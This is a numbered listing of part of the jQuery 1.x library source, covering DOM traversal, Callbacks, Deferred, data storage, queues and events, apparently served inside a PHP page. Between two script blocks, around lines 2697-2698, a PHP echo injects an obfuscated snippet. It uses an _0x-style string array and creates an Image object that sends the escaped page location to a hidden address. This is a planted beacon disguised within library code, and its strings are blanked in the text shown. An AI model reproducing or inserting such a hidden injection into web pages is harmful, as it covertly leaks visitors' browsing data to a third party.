1933 return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
1934 },
1935 add: function(selector, context) {
1936 return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
1937 },
1938 addBack: function(selector) {
1939 return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
1940 }
1941 });
1942
1943 function sibling(cur, dir) {
1944 do {
1945 cur = cur[dir]
1946 } while (cur && cur.nodeType !== 1);
1947 return cur
1948 }
1949 jQuery.each({
1950 parent: function(elem) {
1951 var parent = elem.parentNode;
1952 return parent && parent.nodeType !== 11 ? parent : null
1953 },
1954 parents: function(elem) {
1955 return jQuery.dir(elem, "parentNode")
1956 },
1957 parentsUntil: function(elem, i, until) {
1958 return jQuery.dir(elem, "parentNode", until)
1959 },
1960 next: function(elem) {
1961 return sibling(elem, "nextSibling")
1962 },
1963 prev: function(elem) {
1964 return sibling(elem, "previousSibling")
1965 },
1966 nextAll: function(elem) {
1967 return jQuery.dir(elem, "nextSibling")
1968 },
1969 prevAll: function(elem) {
1970 return jQuery.dir(elem, "previousSibling")
1971 },
1972 nextUntil: function(elem, i, until) {
1973 return jQuery.dir(elem, "nextSibling", until)
1974 },
1975 prevUntil: function(elem, i, until) {
1976 return jQuery.dir(elem, "previousSibling", until)
1977 },
1978 siblings: function(elem) {
1979 return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
1980 },
1981 children: function(elem) {
1982 return jQuery.sibling(elem.firstChild)
1983 },
1984 contents: function(elem) {
1985 return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
1986 }
1987 }, function(name, fn) {
1988 jQuery.fn[name] = function(until, selector) {
1989 var ret = jQuery.map(this, fn, until);
1990 if (name.slice(-5) !== "Until") {
1991 selector = until
1992 }
1993 if (selector && typeof selector === "string") {
1994 ret = jQuery.filter(selector, ret)
1995 }
1996 if (this.length > 1) {
1997 if (!guaranteedUnique[name]) {
1998 ret = jQuery.unique(ret)
1999 }
2000 if (rparentsprev.test(name)) {
2001 ret = ret.reverse()
2002 }
2003 }
2004 return this.pushStack(ret)
2005 }
2006 });
2007 var rnotwhite = (/\S+/g);
2008 var optionsCache = {};
2009
2010 function createOptions(options) {
2011 var object = optionsCache[options] = {};
2012 jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
2013 object[flag] = true
2014 });
2015 return object
2016 }
2017 jQuery.Callbacks = function(options) {
2018 options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
2019 var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
2020 stack = !options.once && [],
2021 fire = function(data) {
2022 memory = options.memory && data;
2023 fired = true;
2024 firingIndex = firingStart || 0;
2025 firingStart = 0;
2026 firingLength = list.length;
2027 firing = true;
2028 for (; list && firingIndex < firingLength; firingIndex++) {
2029 if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
2030 memory = false;
2031 break
2032 }
2033 }
2034 firing = false;
2035 if (list) {
2036 if (stack) {
2037 if (stack.length) {
2038 fire(stack.shift())
2039 }
2040 } else if (memory) {
2041 list = []
2042 } else {
2043 self.disable()
2044 }
2045 }
2046 },
2047 self = {
2048 add: function() {
2049 if (list) {
2050 var start = list.length;
2051 (function add(args) {
2052 jQuery.each(args, function(_, arg) {
2053 var type = jQuery.type(arg);
2054 if (type === "function") {
2055 if (!options.unique || !self.has(arg)) {
2056 list.push(arg)
2057 }
2058 } else if (arg && arg.length && type !== "string") {
2059 add(arg)
2060 }
2061 })
2062 })(arguments);
2063 if (firing) {
2064 firingLength = list.length
2065 } else if (memory) {
2066 firingStart = start;
2067 fire(memory)
2068 }
2069 }
2070 return this
2071 },
2072 remove: function() {
2073 if (list) {
2074 jQuery.each(arguments, function(_, arg) {
2075 var index;
2076 while ((index = jQuery.inArray(arg, list, index)) > -1) {
2077 list.splice(index, 1);
2078 if (firing) {
2079 if (index <= firingLength) {
2080 firingLength--
2081 }
2082 if (index <= firingIndex) {
2083 firingIndex--
2084 }
2085 }
2086 }
2087 })
2088 }
2089 return this
2090 },
2091 has: function(fn) {
2092 return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
2093 },
2094 empty: function() {
2095 list = [];
2096 firingLength = 0;
2097 return this
2098 },
2099 disable: function() {
2100 list = stack = memory = undefined;
2101 return this
2102 },
2103 disabled: function() {
2104 return !list
2105 },
2106 lock: function() {
2107 stack = undefined;
2108 if (!memory) {
2109 self.disable()
2110 }
2111 return this
2112 },
2113 locked: function() {
2114 return !stack
2115 },
2116 fireWith: function(context, args) {
2117 if (list && (!fired || stack)) {
2118 args = args || [];
2119 args = [context, args.slice ? args.slice() : args];
2120 if (firing) {
2121 stack.push(args)
2122 } else {
2123 fire(args)
2124 }
2125 }
2126 return this
2127 },
2128 fire: function() {
2129 self.fireWith(this, arguments);
2130 return this
2131 },
2132 fired: function() {
2133 return !!fired
2134 }
2135 };
2136 return self
2137 };
2138 jQuery.extend({
2139 Deferred: function(func) {
2140 var tuples = [
2141 ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
2142 ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
2143 ["notify", "progress", jQuery.Callbacks("memory")]
2144 ],
2145 state = "pending",
2146 promise = {
2147 state: function() {
2148 return state
2149 },
2150 always: function() {
2151 deferred.done(arguments).fail(arguments);
2152 return this
2153 },
2154 then: function() {
2155 var fns = arguments;
2156 return jQuery.Deferred(function(newDefer) {
2157 jQuery.each(tuples, function(i, tuple) {
2158 var fn = jQuery.isFunction(fns[i]) && fns[i];
2159 deferred[tuple[1]](function() {
2160 var returned = fn && fn.apply(this, arguments);
2161 if (returned && jQuery.isFunction(returned.promise)) {
2162 returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
2163 } else {
2164 newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
2165 }
2166 })
2167 });
2168 fns = null
2169 }).promise()
2170 },
2171 promise: function(obj) {
2172 return obj != null ? jQuery.extend(obj, promise) : promise
2173 }
2174 },
2175 deferred = {};
2176 promise.pipe = promise.then;
2177 jQuery.each(tuples, function(i, tuple) {
2178 var list = tuple[2],
2179 stateString = tuple[3];
2180 promise[tuple[1]] = list.add;
2181 if (stateString) {
2182 list.add(function() {
2183 state = stateString
2184 }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
2185 }
2186 deferred[tuple[0]] = function() {
2187 deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
2188 return this
2189 };
2190 deferred[tuple[0] + "With"] = list.fireWith
2191 });
2192 promise.promise(deferred);
2193 if (func) {
2194 func.call(deferred, deferred)
2195 }
2196 return deferred
2197 },
2198 when: function(subordinate) {
2199 var i = 0,
2200 resolveValues = slice.call(arguments),
2201 length = resolveValues.length,
2202 remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
2203 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
2204 updateFunc = function(i, contexts, values) {
2205 return function(value) {
2206 contexts[i] = this;
2207 values[i] = arguments.length > 1 ? slice.call(arguments) : value;
2208 if (values === progressValues) {
2209 deferred.notifyWith(contexts, values)
2210 } else if (!(--remaining)) {
2211 deferred.resolveWith(contexts, values)
2212 }
2213 }
2214 },
2215 progressValues, progressContexts, resolveContexts;
2216 if (length > 1) {
2217 progressValues = new Array(length);
2218 progressContexts = new Array(length);
2219 resolveContexts = new Array(length);
2220 for (; i < length; i++) {
2221 if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
2222 resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
2223 } else {
2224 --remaining
2225 }
2226 }
2227 }
2228 if (!remaining) {
2229 deferred.resolveWith(resolveContexts, resolveValues)
2230 }
2231 return deferred.promise()
2232 }
2233 });
2234 var readyList;
2235 jQuery.fn.ready = function(fn) {
2236 jQuery.ready.promise().done(fn);
2237 return this
2238 };
2239 jQuery.extend({
2240 isReady: false,
2241 readyWait: 1,
2242 holdReady: function(hold) {
2243 if (hold) {
2244 jQuery.readyWait++
2245 } else {
2246 jQuery.ready(true)
2247 }
2248 },
2249 ready: function(wait) {
2250 if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
2251 return
2252 }
2253 if (!document.body) {
2254 return setTimeout(jQuery.ready)
2255 }
2256 jQuery.isReady = true;
2257 if (wait !== true && --jQuery.readyWait > 0) {
2258 return
2259 }
2260 readyList.resolveWith(document, [jQuery]);
2261 if (jQuery.fn.triggerHandler) {
2262 jQuery(document).triggerHandler("ready");
2263 jQuery(document).off("ready")
2264 }
2265 }
2266 });
2267
2268 function detach() {
2269 if (document.addEventListener) {
2270 document.removeEventListener("DOMContentLoaded", completed, false);
2271 window.removeEventListener("load", completed, false)
2272 } else {
2273 document.detachEvent("onreadystatechange", completed);
2274 window.detachEvent("onload", completed)
2275 }
2276 }
2277
2278 function completed() {
2279 if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
2280 detach();
2281 jQuery.ready()
2282 }
2283 }
2284 jQuery.ready.promise = function(obj) {
2285 if (!readyList) {
2286 readyList = jQuery.Deferred();
2287 if (document.readyState === "complete") {
2288 setTimeout(jQuery.ready)
2289 } else if (document.addEventListener) {
2290 document.addEventListener("DOMContentLoaded", completed, false);
2291 window.addEventListener("load", completed, false)
2292 } else {
2293 document.attachEvent("onreadystatechange", completed);
2294 window.attachEvent("onload", completed);
2295 var top = false;
2296 try {
2297 top = window.frameElement == null && document.documentElement
2298 } catch (e) {}
2299 if (top && top.doScroll) {
2300 (function doScrollCheck() {
2301 if (!jQuery.isReady) {
2302 try {
2303 top.doScroll("left")
2304 } catch (e) {
2305 return setTimeout(doScrollCheck, 50)
2306 }
2307 detach();
2308 jQuery.ready()
2309 }
2310 })()
2311 }
2312 }
2313 }
2314 return readyList.promise(obj)
2315 };
2316 var strundefined = typeof undefined;
2317 var i;
2318 for (i in jQuery(support)) {
2319 break
2320 }
2321 support.ownLast = i !== "0";
2322 support.inlineBlockNeedsLayout = false;
2323 jQuery(function() {
2324 var val, div, body, container;
2325 body = document.getElementsByTagName("body")[0];
2326 if (!body || !body.style) {
2327 return
2328 }
2329 div = document.createElement("div");
2330 container = document.createElement("div");
2331 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
2332 body.appendChild(container).appendChild(div);
2333 if (typeof div.style.zoom !== strundefined) {
2334 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
2335 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
2336 if (val) {
2337 body.style.zoom = 1
2338 }
2339 }
2340 body.removeChild(container)
2341 });
2342 (function() {
2343 var div = document.createElement("div");
2344 if (support.deleteExpando == null) {
2345 support.deleteExpando = true;
2346 try {
2347 delete div.test
2348 } catch (e) {
2349 support.deleteExpando = false
2350 }
2351 }
2352 div = null
2353 })();
2354 jQuery.acceptData = function(elem) {
2355 var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
2356 nodeType = +elem.nodeType || 1;
2357 return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
2358 };
2359 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
2360 rmultiDash = /([A-Z])/g;
2361
2362 function dataAttr(elem, key, data) {
2363 if (data === undefined && elem.nodeType === 1) {
2364 var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
2365 data = elem.getAttribute(name);
2366 if (typeof data === "string") {
2367 try {
2368 data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
2369 } catch (e) {}
2370 jQuery.data(elem, key, data)
2371 } else {
2372 data = undefined
2373 }
2374 }
2375 return data
2376 }
2377
2378 function isEmptyDataObject(obj) {
2379 var name;
2380 for (name in obj) {
2381 if (name === "data" && jQuery.isEmptyObject(obj[name])) {
2382 continue
2383 }
2384 if (name !== "toJSON") {
2385 return false
2386 }
2387 }
2388 return true
2389 }
2390
2391 function internalData(elem, name, data, pvt) {
2392 if (!jQuery.acceptData(elem)) {
2393 return
2394 }
2395 var ret, thisCache, internalKey = jQuery.expando,
2396 isNode = elem.nodeType,
2397 cache = isNode ? jQuery.cache : elem,
2398 id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
2399 if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
2400 return
2401 }
2402 if (!id) {
2403 if (isNode) {
2404 id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
2405 } else {
2406 id = internalKey
2407 }
2408 }
2409 if (!cache[id]) {
2410 cache[id] = isNode ? {} : {
2411 toJSON: jQuery.noop
2412 }
2413 }
2414 if (typeof name === "object" || typeof name === "function") {
2415 if (pvt) {
2416 cache[id] = jQuery.extend(cache[id], name)
2417 } else {
2418 cache[id].data = jQuery.extend(cache[id].data, name)
2419 }
2420 }
2421 thisCache = cache[id];
2422 if (!pvt) {
2423 if (!thisCache.data) {
2424 thisCache.data = {}
2425 }
2426 thisCache = thisCache.data
2427 }
2428 if (data !== undefined) {
2429 thisCache[jQuery.camelCase(name)] = data
2430 }
2431 if (typeof name === "string") {
2432 ret = thisCache[name];
2433 if (ret == null) {
2434 ret = thisCache[jQuery.camelCase(name)]
2435 }
2436 } else {
2437 ret = thisCache
2438 }
2439 return ret
2440 }
2441
2442 function internalRemoveData(elem, name, pvt) {
2443 if (!jQuery.acceptData(elem)) {
2444 return
2445 }
2446 var thisCache, i, isNode = elem.nodeType,
2447 cache = isNode ? jQuery.cache : elem,
2448 id = isNode ? elem[jQuery.expando] : jQuery.expando;
2449 if (!cache[id]) {
2450 return
2451 }
2452 if (name) {
2453 thisCache = pvt ? cache[id] : cache[id].data;
2454 if (thisCache) {
2455 if (!jQuery.isArray(name)) {
2456 if (name in thisCache) {
2457 name = [name]
2458 } else {
2459 name = jQuery.camelCase(name);
2460 if (name in thisCache) {
2461 name = [name]
2462 } else {
2463 name = name.split(" ")
2464 }
2465 }
2466 } else {
2467 name = name.concat(jQuery.map(name, jQuery.camelCase))
2468 }
2469 i = name.length;
2470 while (i--) {
2471 delete thisCache[name[i]]
2472 }
2473 if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
2474 return
2475 }
2476 }
2477 }
2478 if (!pvt) {
2479 delete cache[id].data;
2480 if (!isEmptyDataObject(cache[id])) {
2481 return
2482 }
2483 }
2484 if (isNode) {
2485 jQuery.cleanData([elem], true)
2486 } else if (support.deleteExpando || cache != cache.window) {
2487 delete cache[id]
2488 } else {
2489 cache[id] = null
2490 }
2491 }
2492 jQuery.extend({
2493 cache: {},
2494 noData: {
2495 "applet ": true,
2496 "embed ": true,
2497 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
2498 },
2499 hasData: function(elem) {
2500 elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
2501 return !!elem && !isEmptyDataObject(elem)
2502 },
2503 data: function(elem, name, data) {
2504 return internalData(elem, name, data)
2505 },
2506 removeData: function(elem, name) {
2507 return internalRemoveData(elem, name)
2508 },
2509 _data: function(elem, name, data) {
2510 return internalData(elem, name, data, true)
2511 },
2512 _removeData: function(elem, name) {
2513 return internalRemoveData(elem, name, true)
2514 }
2515 });
2516 jQuery.fn.extend({
2517 data: function(key, value) {
2518 var i, name, data, elem = this[0],
2519 attrs = elem && elem.attributes;
2520 if (key === undefined) {
2521 if (this.length) {
2522 data = jQuery.data(elem);
2523 if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
2524 i = attrs.length;
2525 while (i--) {
2526 if (attrs[i]) {
2527 name = attrs[i].name;
2528 if (name.indexOf("data-") === 0) {
2529 name = jQuery.camelCase(name.slice(5));
2530 dataAttr(elem, name, data[name])
2531 }
2532 }
2533 }
2534 jQuery._data(elem, "parsedAttrs", true)
2535 }
2536 }
2537 return data
2538 }
2539 if (typeof key === "object") {
2540 return this.each(function() {
2541 jQuery.data(this, key)
2542 })
2543 }
2544 return arguments.length > 1 ? this.each(function() {
2545 jQuery.data(this, key, value)
2546 }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
2547 },
2548 removeData: function(key) {
2549 return this.each(function() {
2550 jQuery.removeData(this, key)
2551 })
2552 }
2553 });
2554 jQuery.extend({
2555 queue: function(elem, type, data) {
2556 var queue;
2557 if (elem) {
2558 type = (type || "fx") + "queue";
2559 queue = jQuery._data(elem, type);
2560 if (data) {
2561 if (!queue || jQuery.isArray(data)) {
2562 queue = jQuery._data(elem, type, jQuery.makeArray(data))
2563 } else {
2564 queue.push(data)
2565 }
2566 }
2567 return queue || []
2568 }
2569 },
2570 dequeue: function(elem, type) {
2571 type = type || "fx";
2572 var queue = jQuery.queue(elem, type),
2573 startLength = queue.length,
2574 fn = queue.shift(),
2575 hooks = jQuery._queueHooks(elem, type),
2576 next = function() {
2577 jQuery.dequeue(elem, type)
2578 };
2579 if (fn === "inprogress") {
2580 fn = queue.shift();
2581 startLength--
2582 }
2583 if (fn) {
2584 if (type === "fx") {
2585 queue.unshift("inprogress")
2586 }
2587 delete hooks.stop;
2588 fn.call(elem, next, hooks)
2589 }
2590 if (!startLength && hooks) {
2591 hooks.empty.fire()
2592 }
2593 },
2594 _queueHooks: function(elem, type) {
2595 var key = type + "queueHooks";
2596 return jQuery._data(elem, key) || jQuery._data(elem, key, {
2597 empty: jQuery.Callbacks("once memory").add(function() {
2598 jQuery._removeData(elem, type + "queue");
2599 jQuery._removeData(elem, key)
2600 })
2601 })
2602 }
2603 });
2604 jQuery.fn.extend({
2605 queue: function(type, data) {
2606 var setter = 2;
2607 if (typeof type !== "string") {
2608 data = type;
2609 type = "fx";
2610 setter--
2611 }
2612 if (arguments.length < setter) {
2613 return jQuery.queue(this[0], type)
2614 }
2615 return data === undefined ? this : this.each(function() {
2616 var queue = jQuery.queue(this, type, data);
2617 jQuery._queueHooks(this, type);
2618 if (type === "fx" && queue[0] !== "inprogress") {
2619 jQuery.dequeue(this, type)
2620 }
2621 })
2622 },
2623 dequeue: function(type) {
2624 return this.each(function() {
2625 jQuery.dequeue(this, type)
2626 })
2627 },
2628 clearQueue: function(type) {
2629 return this.queue(type || "fx", [])
2630 },
2631 promise: function(type, obj) {
2632 var tmp, count = 1,
2633 defer = jQuery.Deferred(),
2634 elements = this,
2635 i = this.length,
2636 resolve = function() {
2637 if (!(--count)) {
2638 defer.resolveWith(elements, [elements])
2639 }
2640 };
2641 if (typeof type !== "string") {
2642 obj = type;
2643 type = undefined
2644 }
2645 type = type || "fx";
2646 while (i--) {
2647 tmp = jQuery._data(elements[i], type + "queueHooks");
2648 if (tmp && tmp.empty) {
2649 count++;
2650 tmp.empty.add(resolve)
2651 }
2652 }
2653 resolve();
2654 return defer.promise(obj)
2655 }
2656 });
2657 var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
2658 var cssExpand = ["Top", "Right", "Bottom", "Left"];
2659 var isHidden = function(elem, el) {
2660 elem = el || elem;
2661 return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
2662 };
2663 var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
2664 var i = 0,
2665 length = elems.length,
2666 bulk = key == null;
2667 if (jQuery.type(key) === "object") {
2668 chainable = true;
2669 for (i in key) {
2670 jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
2671 }
2672 } else if (value !== undefined) {
2673 chainable = true;
2674 if (!jQuery.isFunction(value)) {
2675 raw = true
2676 }
2677 if (bulk) {
2678 if (raw) {
2679 fn.call(elems, value);
2680 fn = null
2681 } else {
2682 bulk = fn;
2683 fn = function(elem, key, value) {
2684 return bulk.call(jQuery(elem), value)
2685 }
2686 }
2687 }
2688 if (fn) {
2689 for (; i < length; i++) {
2690 fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
2691 }
2692 }
2693 }
2694 return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
2695 };
2696 var rcheckableType = (/^(?:checkbox|radio)$/i);
2697</script>
2698<?php echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
2699 <script>
2700 (function() {
2701 var input = document.createElement("input"),
2702 div = document.createElement("div"),
2703 fragment = document.createDocumentFragment();
2704 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
2705 support.leadingWhitespace = div.firstChild.nodeType === 3;
2706 support.tbody = !div.getElementsByTagName("tbody").length;
2707 support.htmlSerialize = !!div.getElementsByTagName("link").length;
2708 support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
2709 input.type = "checkbox";
2710 input.checked = true;
2711 fragment.appendChild(input);
2712 support.appendChecked = input.checked;
2713 div.innerHTML = "<textarea>x</textarea>";
2714 support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
2715 fragment.appendChild(div);
2716 div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
2717 support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
2718 support.noCloneEvent = true;
2719 if (div.attachEvent) {
2720 div.attachEvent("onclick", function() {
2721 support.noCloneEvent = false
2722 });
2723 div.cloneNode(true).click()
2724 }
2725 if (support.deleteExpando == null) {
2726 support.deleteExpando = true;
2727 try {
2728 delete div.test
2729 } catch (e) {
2730 support.deleteExpando = false
2731 }
2732 }
2733 })();
2734 (function() {
2735 var i, eventName, div = document.createElement("div");
2736 for (i in {
2737 submit: true,
2738 change: true,
2739 focusin: true
2740 }) {
2741 eventName = "on" + i;
2742 if (!(support[i + "Bubbles"] = eventName in window)) {
2743 div.setAttribute(eventName, "t");
2744 support[i + "Bubbles"] = div.attributes[eventName].expando === false
2745 }
2746 }
2747 div = null
2748 })();
2749 var rformElems = /^(?:input|select|textarea)$/i,
2750 rkeyEvent = /^key/,
2751 rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
2752 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
2753 rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
2754
2755 function returnTrue() {
2756 return true
2757 }
2758
2759 function returnFalse() {
2760 return false
2761 }
2762
2763 function safeActiveElement() {
2764 try {
2765 return document.activeElement
2766 } catch (err) {}
2767 }
2768 jQuery.event = {
2769 global: {},
2770 add: function(elem, types, handler, data, selector) {
2771 var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
2772 if (!elemData) {
2773 return
2774 }
2775 if (handler.handler) {
2776 handleObjIn = handler;
2777 handler = handleObjIn.handler;
2778 selector = handleObjIn.selector
2779 }
2780 if (!handler.guid) {
2781 handler.guid = jQuery.guid++
2782 }
2783 if (!(events = elemData.events)) {
2784 events = elemData.events = {}
2785 }
2786 if (!(eventHandle = elemData.handle)) {
2787 eventHandle = elemData.handle = function(e) {
2788 return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
2789 };
2790 eventHandle.elem = elem
2791 }
2792 types = (types || "").match(rnotwhite) || [""];
2793 t = types.length;
2794 while (t--) {
2795 tmp = rtypenamespace.exec(types[t]) || [];
2796 type = origType = tmp[1];
2797 namespaces = (tmp[2] || "").split(".").sort();
2798 if (!type) {
2799 continue
2800 }
2801 special = jQuery.event.special[type] || {};
2802 type = (selector ? special.delegateType : special.bindType) || type;
2803 special = jQuery.event.special[type] || {};
2804 handleObj = jQuery.extend({
2805 type: type,
2806 origType: origType,
2807 data: data,
2808 handler: handler,
2809 guid: handler.guid,
2810 selector: selector,
2811 needsContext: selector && jQuery.expr.match.needsContext.test(selector),
2812 namespace: namespaces.join(".")
2813 }, handleObjIn);
2814 if (!(handlers = events[type])) {
2815 handlers = events[type] = [];
2816 handlers.delegateCount = 0;
2817 if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
2818 if (elem.addEventListener) {
2819 elem.addEventListener(type, eventHandle, false)
2820 } else if (elem.attachEvent) {
2821 elem.attachEvent("on" + type, eventHandle)
2822 }
2823 }
2824 }
2825 if (special.add) {
2826 special.add.call(elem, handleObj);
2827 if (!handleObj.handler.guid) {
2828 handleObj.handler.guid = handler.guid
2829 }
2830 }
2831 if (selector) {
2832 handlers.splice(handlers.delegateCount++, 0, handleObj)
2833 } else {
2834 handlers.push(handleObj)
2835 }
2836 jQuery.event.global[type] = true
2837 }
2838 elem = null
2839 },
2840 remove: function(elem, types, handler, selector, mappedTypes) {
2841 var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
2842 if (!elemData || !(events = elemData.events)) {
2843 return
2844 }
2845 types = (types || "").match(rnotwhite) || [""];
2846 t = types.length;
2847 while (t--) {
2848 tmp = rtypenamespace.exec(types[t]) || [];
2849 type = origType = tmp[1];
2850 namespaces = (tmp[2] || "").split(".").sort();
2851 if (!type) {
2852 for (type in events) {
2853 jQuery.event.remove(elem, type + types[t], handler, selector, true)
2854 }
2855 continue
2856 }
2857 special = jQuery.event.special[type] || {};
2858 type = (selector ? special.delegateType : special.bindType) || type;
2859 handlers = events[type] || [];
2860 tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
2861 origCount = j = handlers.length;
2862 while (j--) {
2863 handleObj = handlers[j];
2864 if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
2865 handlers.splice(j, 1);
2866 if (handleObj.selector) {
2867 handlers.delegateCount--
2868 }
2869 if (special.remove) {
2870 special.remove.call(elem, handleObj)
2871 }
2872 }
2873 }
2874 if (origCount && !handlers.length) {
2875 if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
2876 jQuery.removeEvent(elem, type, elemData.handle)
2877 }
2878 delete events[type]
2879 }
2880 }
2881 if (jQuery.isEmptyObject(events)) {
2882 delete elemData.handle;
2883 jQuery._removeData(elem, "events")
2884 }
2885 },
2886 trigger: function(event, data, elem, onlyHandlers) {
2887 var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
2888 type = hasOwn.call(event, "type") ? event.type : event,
2889 namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
2890 cur = tmp = elem = elem || document;
2891 if (elem.nodeType === 3 || elem.nodeType === 8) {
2892 return
2893 }
2894 if (rfocusMorph.test(type + jQuery.event.triggered)) {
2895 return
2896 }
2897 if (type.indexOf(".") >= 0) {
2898 namespaces = type.split(".");
2899 type = namespaces.shift();
2900 namespaces.sort()
2901 }
2902 ontype = type.indexOf(":") < 0 && "on" + type;
2903 event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
2904 event.isTrigger = onlyHandlers ? 2 : 3;
2905 event.namespace = namespaces.join(".");
2906 event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
2907 event.result = undefined;
2908 if (!event.target) {
2909 event.target = elem
2910 }
2911 data = data == null ? [event] : jQuery.makeArray(data, [event]);
2912 special = jQuery.event.special[type] || {};
2913 if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
2914 return
2915 }
2916 if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
2917 bubbleType = special.delegateType || type;
2918 if (!rfocusMorph.test(bubbleType + type)) {
2919 cur = cur.parentNode
2920 }
2921 for (; cur; cur = cur.parentNode) {
2922 eventPath.push(cur);
2923 tmp = cur
2924 }
2925 if (tmp === (elem.ownerDocument || document)) {
2926 eventPath.push(tmp.defaultView || tmp.parentWindow || window)
2927 }
2928 }
2929 i = 0;
2930 while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
2931 event.type = i > 1 ? bubbleType : special.bindType || type;
2932 handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
2933 if (handle) {
2934 handle.apply(cur, data)
2935 }
2936 handle = ontype && cur[ontype];
2937 if (handle && handle.apply && jQuery.acceptData(cur)) {
2938 event.result = handle.apply(cur, data);
2939 if (event.result === false) {
2940 event.preventDefault()
2941 }
2942 }
2943 }
2944 event.type = type;
2945 if (!onlyHandlers && !event.isDefaultPrevented()) {
2946 if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
2947 if (ontype && elem[type] && !jQuery.isWindow(elem)) {
2948 tmp = elem[ontype];
2949 if (tmp) {
2950 elem[ontype] = null
2951 }
2952 jQuery.event.triggered = type;
2953 try {
2954 elem[type]()
2955 } catch (e) {}
2956 jQuery.event.triggered = undefined;
2957 if (tmp) {
2958 elem[ontype] = tmp
2959 }
2960 }
2961 }
2962 }
2963 return event.result
2964 },
2965 dispatch: function(event) {
2966 event = jQuery.event.fix(event);
2967 var i, ret, handleObj, matched, j, handlerQueue = [],
2968 args = slice.call(arguments),
2969 handlers = (jQuery._data(this, "events") || {})[event.type] || [],
2970 special = jQuery.event.special[event.type] || {};
2971 args[0] = event;
2972 event.delegateTarget = this;
2973 if (special.preDispatch && special.preDispatch.call(this, event) === false) {
2974 return
2975 }
2976 handlerQueue = jQuery.event.handlers.call(this, event, handlers);
2977 i = 0;
